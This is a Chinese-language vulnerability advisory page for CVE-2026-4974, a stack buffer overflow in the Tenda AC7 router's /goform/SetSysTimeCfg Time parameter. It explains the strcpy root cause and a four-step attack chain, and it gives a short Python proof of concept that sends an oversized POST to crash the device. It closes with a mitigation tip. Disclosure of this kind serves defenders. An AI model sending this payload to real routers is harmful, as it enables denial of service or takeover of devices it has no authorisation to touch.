IPBUF安全漏洞报告
English
CVE-2026-4974 CVSS 8.8 高危

CVE-2026-4974 Tenda AC7 栈溢出漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-4974
漏洞类型
缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC7

相关标签

缓冲区溢出Tenda AC7IoT远程代码执行栈溢出

漏洞概述

Tenda AC7路由器(版本15.03.06.44)在处理系统时间设置功能时存在安全漏洞。具体而言,/goform/SetSysTimeCfg接口中的fromSetSysTime函数未能正确处理POST请求参数。攻击者可通过精心构造的Time参数触发基于栈的缓冲区溢出。该漏洞允许低权限攻击者进行远程攻击,严重威胁设备的机密性、完整性和可用性,且已有公开利用代码。

技术细节

该漏洞的根本原因在于Tenda AC7路由器固件(版本15.03.06.44)中/goform/SetSysTimeCfg组件的fromSetSysTime函数存在不安全的内存操作。在处理涉及系统时间配置的POST请求时,该函数直接使用了不安全的拷贝函数(如strcpy)将用户输入的Time参数数据复制到栈局部变量缓冲区中。由于程序未对输入数据的长度进行严格校验,一旦攻击者发送的Time参数长度超过预设缓冲区大小,就会发生基于栈的缓冲区溢出。在利用方式上,攻击者无需具备高权限,仅需网络访问权限(PR:L)。通过构造包含特定填充数据和返回地址覆盖的恶意HTTP POST包发送至/goform/SetSysTimeCfg接口,即可触发溢出。控制EIP(指令指针)后,攻击者可进一步注入Shellcode或跳转到系统库函数(如system),从而在目标设备上获得远程命令执行权限。鉴于IoT设备通常缺乏完善的防护机制(如ASLR/DEP),该漏洞极易被利用以完全控制设备。

攻击链分析

STEP 1
侦察
攻击者扫描网络或互联网,识别暴露在网上的Tenda AC7路由器设备。
STEP 2
漏洞利用
攻击者构造特制的HTTP POST请求,其中包含超长的Time参数字符串,旨在覆盖栈上的返回地址。
STEP 3
发送请求
将恶意请求发送至目标设备的/goform/SetSysTimeCfg接口。
STEP 4
代码执行
触发缓冲区溢出,劫持程序控制流,执行任意代码或导致设备拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/SetSysTimeCfg" # Construct payload to trigger stack overflow # Adjust the length based on specific buffer size analysis buffer_size = 1000 payload = "A" * buffer_size # POST data parameters data = { "Time": payload, # Additional parameters might be required depending on the form structure } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response status code: {response.status_code}") print("Check if the device has crashed or if code execution occurred.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")

影响范围

Tenda AC7 15.03.06.44

防御指南

临时缓解措施
如果无法立即升级固件,建议将路由器管理界面仅允许内网特定IP访问,或者暂时关闭远程管理功能,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表